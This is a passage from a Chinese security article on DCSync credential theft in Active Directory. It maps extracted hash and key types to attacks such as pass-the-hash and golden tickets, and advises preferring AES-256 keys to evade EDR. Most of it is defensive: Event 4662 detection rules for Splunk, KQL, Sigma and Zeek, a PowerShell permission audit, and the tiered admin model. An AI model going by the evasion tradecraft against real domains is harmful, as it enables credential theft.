        ├── Value (KeyLen bytes) → 嵌套结构
        │
        └── 对于 Kerberos-Newer-Keys:
            KERB_STORED_CREDENTIAL
            ├── Revision (2 bytes)
            ├── Flags (2 bytes)
            ├── ServiceType (2 bytes)
            ├── CredentialCount (2 bytes)
            └── Credentials[] (KERB_KEY_DATA 数组)
                └── 每个密钥:
                    ├── Reserved (2 bytes)
                    ├── KeyType (2 bytes) → 23=RC4, 17=AES128, 18=AES256
                    ├── KeyLen (2 bytes)
                    └── KeyValue (KeyLen bytes) → 实际密钥

DCSync 工具需要完整解析这个嵌套结构才能提取所有密钥。Impacket 的实现位于 impacket.structure 模块中,用结构体定义逐层解包。

5.4 提取数据类型与攻击用途对照表

数据类型 AD 属性 长度 攻击用途 隐蔽性
NTLM 哈希 unicodePwd 16 字节 Pass-the-Hash、离线破解、黄金票据(RC4) 中
LM 哈希 dBCSPwd 16 字节 旧系统 PtH(现代环境已禁用) 低
AES-256 密钥 supplementalCredentials 32 字节 请求 AES TGT(隐蔽)、Overpass-the-Hash 高
AES-128 密钥 supplementalCredentials 16 字节 同上,弱于 256 高
RC4 (NTLM) 密钥 supplementalCredentials 16 字节 = NTLM 哈希,Kerberos RC4 中
DES 密钥 supplementalCredentials 8 字节 仅旧环境 低
明文密码 unicodePwd (可逆) 变长 直接登录(需启用 reversible encryption) -
NTLM 密码历史 ntPwdHistory 变长 密码复用、撞库其他系统 中
Kerberos 密码历史 supplementalCredentials 变长 同上,AES 密钥复用 中
WDigest 凭据 supplementalCredentials 变长 明文密码(Win8.1+ 默认禁用) -
机器账户哈希 unicodePwd 16 字节 Kerberoasting、委派攻击 中

实战策略:高阶攻击者优先提取 AES-256 密钥而非 NTLM 哈希,因为 AES Kerberos 流量是正常域活动的一部分,EDR 难以区分合法 TGT 请求与攻击者请求。


6. 检测与防御

6.1 Event ID 4662 检测规则

DCSync 攻击在目标 DC 上会触发 Event ID 4662(An operation was performed on an object)。关键在于检测非 DC 主体对复制权限的使用。

事件 4662 关键字段:

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" />
    <EventID>4662</EventID>
  </System>
  <EventData>
    <Data Name="SubjectUserName">svc_backup</Data>        <!-- 非DC账户! -->
    <Data Name="SubjectDomainName">CORP</Data>
    <Data Name="SubjectLogonId">0x1a2b3c</Data>
    <Data Name="ObjectServer">DS</Data>
    <Data Name="ObjectType">%{19195a5b-6da0-11d0-afd3-00c04fd930c9}</Data>
    <Data Name="ObjectName">%{...}</Data>
    <Data Name="OperationType">Object Access</Data>
    <Data Name="Properties">
      %%7689                      <!-- DS-Replication-Get-Changes -->
      {1131f6aa-9c07-11d1-f79f-00c04fc2dab2}
      %%7690                      <!-- DS-Replication-Get-Changes-All -->
      {1131f6ad-9c07-11d1-f79f-00c04fc2dab2}
    </Data>
    <Data Name="AdditionalInfo">-</Data>
  </EventData>
</Event>

Splunk SPL 检测规则:

index=windows sourcetype=XmlWinEventLog:Security EventCode=4662
| search Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dab2*"
      OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dab2*"
| eval is_dc=if(
    match(SubjectUserName, "(?i)^(DC\d+|.*\$)$")
    OR match(SubjectUserName, "(?i)^.*\\DC\d+\$$"),
    "YES", "NO")
| where is_dc="NO"
| eval risk=case(
    match(SubjectUserName, "(?i)^MSOL_"), "HIGH (AD Connect)",
    match(SubjectUserName, "(?i)^svc"), "MEDIUM (Service Account)",
    1=1, "CRITICAL (Unexpected User)"
)
| table _time, SubjectUserName, SubjectDomainName, Computer, Properties, risk
| sort -_time

Elastic KQL / Lucene 检测规则:

event.code:4662 
AND winlog.event_data.Properties:(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dab2" 
  OR "1131f6ad-9c07-11d1-f79f-00c04fc2dab2"
)
AND NOT user.name:(*$ OR DC*)

Sigma 规则(可导入 Splunk/ELK/QRadar):

title: DCSync Attack Detection via Event 4662
id: 611eab06-a145-4dfa-a295-3a5bfc406e31
status: stable
description: Detects DCSync replication from non-DC accounts
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4662
        Properties|contains:
            - '1131f6aa-9c07-11d1-f79f-00c04fc2dab2'
            - '1131f6ad-9c07-11d1-f79f-00c04fc2dab2'
    filter_dc:
        SubjectUserName|endswith: '$'   # 机器账户 = DC
    condition: selection AND NOT filter_dc
falsepositives:
    - Legitimate AD Connect sync
    - Exchange replication
level: high
tags:
    - attack.credential_access
    - attack.t1003.006

6.2 非 DC 主机的 DRSUAPI 调用检测

更底层的检测在网络层——监控非 DC IP 地址发起的 DRSUAPI RPC 调用。

Zeek (Bro) 网络检测脚本:

# detect_dcsync.zeek
# 检测非DC主机到DC的DRSUAPI RPC绑定

global dc_addresses: set[addr] = { 
    192.168.1.10, 192.168.1.11  # 已知 DC IP 列表
};

event dce_rpc_message(c: connection, opnum: count, 
                      hdr: dce_rpc_hdr, msg: string)
{
    # DRSUAPI 接口 UUID: E3514235-4B06-11D1-AB04-00C04FC2DCD2
    if (c$current?$endpoint && 
        c$current$endpoint == "e3514235-4b06-11d1-ab04-00c04fc2dcd2")
    {
        # IDL_DRSGetNCChanges = opnum 3
        if (opnum == 3)
        {
            if (c$id$orig_h !in dc_addresses)
            {
                NOTICE([$note=DCSync_Attempt,
                    $msg=fmt("Non-DC host %s called DRSGetNCChanges", 
                             c$id$orig_h),
                    $sub=fmt("Target: %s, User may have DCSync rights", 
                             c$id$resp_h),
                    $conn=c,
                    $identifier=cat(c$id$orig_h, c$id$resp_h)
                ]);
            }
        }
    }
}

Windows Defender for Identity (MDI) 检测:

MDI 内置 DCSync 检测,其逻辑为:

  1. 监控所有 DRSUAPI RPC 调用(通过域控上的网络捕获);
  2. 识别调用方账户类型(机器账户 vs 用户账户);
  3. 用户账户调用 IDL_DRSGetNCChanges 且目标为复制操作 → 触发告警。

MDI 告警示例:

Suspicious replication request (potential DCSync attack)
Account: CORP\svc_backup
Source: 192.168.1.50 (非DC主机)
Target DC: DC01
Action: Replication of directory changes (GetNCChanges)

6.3 DCSync 权限最小化方案

防御 DCSync 的根本是收窄复制权限。以下是权限审计与最小化步骤:

步骤1:审计当前权限持有者

# 审计域 NC 根上的复制权限
Import-Module ActiveDirectory

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

# 查找 GetChanges 和 GetChangesAll 权限
$replicationGUIDs = @{
    "1131f6aa-9c07-11d1-f79f-00c04fc2dab2" = "GetChanges"
    "1131f6ad-9c07-11d1-f79f-00c04fc2dab2" = "GetChangesAll"
    "89e95b76-444d-4c62-991a-0facbeda640c" = "GetChangesInFilteredSet"
}

$acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "ExtendedRight" -and
    $_.ObjectType -in $replicationGUIDs.Keys
} | ForEach-Object {
    [PSCustomObject]@{
        Identity    = $_.IdentityReference
        Permission  = $replicationGUIDs[$_.ObjectType]
        Type        = $_.AccessControlType
    }
} | Format-Table -AutoSize

步骤2:移除非必要权限

# 移除 Exchange 组的 GetChangesAll (如果不再使用 Exchange 内部复制)
$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

# 移除 "Exchange Windows Permissions" 组的复制权限
$exchangeGroup = "CORP\Exchange Windows Permissions"
$guid = [Guid]"1131f6ad-9c07-11d1-f79f-00c04fc2dab2"

$acesToRemove = $acl.Access | Where-Object {
    $_.IdentityReference -eq $exchangeGroup -and
    $_.ObjectType -eq $guid
}

foreach ($ace in $acesToRemove) {
    $acl.RemoveAccessRuleSpecific($ace)
    Write-Host "移除: $($ace.IdentityReference) 的复制权限"
}

Set-Acl -Path "AD:\$domainDN" -AclObject $acl

步骤3:监控权限变更

对域 NC 根的 ACL 修改设置审计:

# 启用对域 NC 根 ACL 修改的审计
auditpol /set /subcategory:"Directory Service Access" /success:enable

6.4 AD Tiered Model 分层防御架构

AD Tiered Model(分层管理模型)是微软推荐的 AD 安全架构,核心思想是管理权限隔离,防止高权限凭据流入低安全层。

┌──────────────────────────────────────────────────────────────────┐
│                    Tier 0: 域控制器层                              │
│   ┌─────────────────────────────────────────────────────────┐    │
│   │  域控、AD DS、AD CS (Enterprise CA)、Hyper-V 宿主(承载DC) │    │
│   │  权限: Domain Admins, Enterprise Admins, DC 本地 Admin   │    │
│   │  规则: Tier 0 账户永远不能登录 Tier 1/2 主机              │    │
│   │  防护: PAW (Privileged Access Workstation) 专属管理机     │    │
│   └─────────────────────────────────────────────────────────┘    │
│                         ↕ (仅允许受控通道)                         │
├──────────────────────────────────────────────────────────────────┤
│                    Tier 1: 服务器层                                │
│   ┌─────────────────────────────────────────────────────────┐    │
│   │  Exchange、SQL、SharePoint、文件服务器、AD Connect        │    │
│   │  权限: Server Admins (仅管理本层服务器)                   │    │
│   │  规则: Tier 1 账户不能登录 Tier 0 主机 (防凭据窃取→DCSync) │    │
│   │       Tier 1 账户不能登录 Tier 2 工作站                   │    │
│   │  关键: Exchange/AD Connect 账户隔离在此层                  │    │
│   └─────────────────────────────────────────────────────────┘    │
│                         ↕                                         │
├──────────────────────────────────────────────────────────────────┤
│                    Tier 2: 用户/工作站层                           │
│   ┌─────────────────────────────────────────────────────────┐    │
│   │  用户工作站、普通员工账户                                  │    │
│   │  权限: 普通用户, 仅管理自己的工作站                        │    │
│   │  规则: Tier 2 账户不能登录 Tier 0/1 主机                  │    │
│   └─────────────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────────────┘

    分层核心原则:
    1. 凭据单向流动: 高层凭据永远不进入低层主机 (防 Mimikatz/LSASS 提取)
    2. 管理通道隔离: 每层使用独立的管理账户和 PAW
    3. DCSync 防护: 即使 Tier 1 (Exchange) 被攻破,
       由于凭据隔离, 攻击者无法横向到 Tier 0 执行 DCSync

分层模型对 DCSync 的防御逻辑:

  1. Tier 0 凭据隔离:Domain Admins 账户只通过 PAW 登录 Tier 0 主机,从不登录 Tier 1/2。即使 Tier 2 工作站被钓鱼攻破,攻击者也只能拿到 Tier 2 凭据,无法触及 DCSync 权限。
  2. Tier 1 服务账户治理:Exchange / AD Connect 账户被严格限制在 Tier 1。即使这些账户拥有 DCSync 权限,攻击者要获取其凭据,必须先攻破 Tier 1 服务器——这显著提高了攻击成本。
  3. 特权访问管理 (PAM):对于必须跨层的管理操作,使用 Just-in-Time (JIT) 临时授权,而非永久权限。DCSync 权限不应常驻于任何服务账户。

实施关键配置:

# 通过 GPO 限制登录权限, 实现分层
# Tier 0 账户禁止登录 Tier 1/2
$gpo = New-GPO -Name "Tier0_LogonRestriction"
Set-GPRegistryValue -Name "Tier0_LogonRestriction" `
    -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows\GroupPolicy" `
    -ValueName "DenyLogonLocally" `
    -Type String `
    -Value "CORP\ServerAdmins;CORP\DomainUsers"

# 通过 Authentication Silos 强制账户分层
# 将 Tier 0 账户放入专属 silo, 禁止认证到低层主机
New-ADAuthenticationPolicy -Name "Tier0_AuthPolicy" `
    -UserAllowedToAuthenticateFrom "O:BAD:(A;;CR;;;S-1-5-21-xxx-516)" `
    # 516 = Domain Controllers 组, 仅允许认证到 DC

New-ADAuthenticationPolicySilo -Name "Tier0_Silo" `
    -Enforced $true `
    -UserAuthenticationPolicy "Tier0_AuthPolicy"

7. 总结

DCSync 攻击之所以危险,是因为它击中了 AD 安全模型的两个根本假设:

  1. "保护域控就保护了凭据"——DCSync 证明了凭据可以通过协议合法流出域控,不需要在域控上执行代码。
  2. "复制权限等同于域管"——大量服务账户(Exchange、AD Connect)拥有复制权限,这些账户的防护强度远低于域管账户。

防御 DCSync 的关键不在于单点检测,而在于系统性治理:

  • 权限最小化:审计并收窄复制权限,移除非必要的 GetChangesAll 授予;
  • 分层隔离:实施 AD Tiered Model,确保高权限凭据不流入低安全层;
  • 检测纵深:结合 Event 4662、网络层 DRSUAPI 监控、MDI 行为分析,构建多层检测;
  • 凭据轮换:定期轮换 krbtgt 密码(至少每年一次),缩短黄金票据的有效窗口。

理解 DCSync 的协议本质——MS-DRSR 的权限即身份模型——是构建有效防御的前提。防御者必须认识到:在 AD 中,拥有复制权限的每一个账户,都是事实上的域控。


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。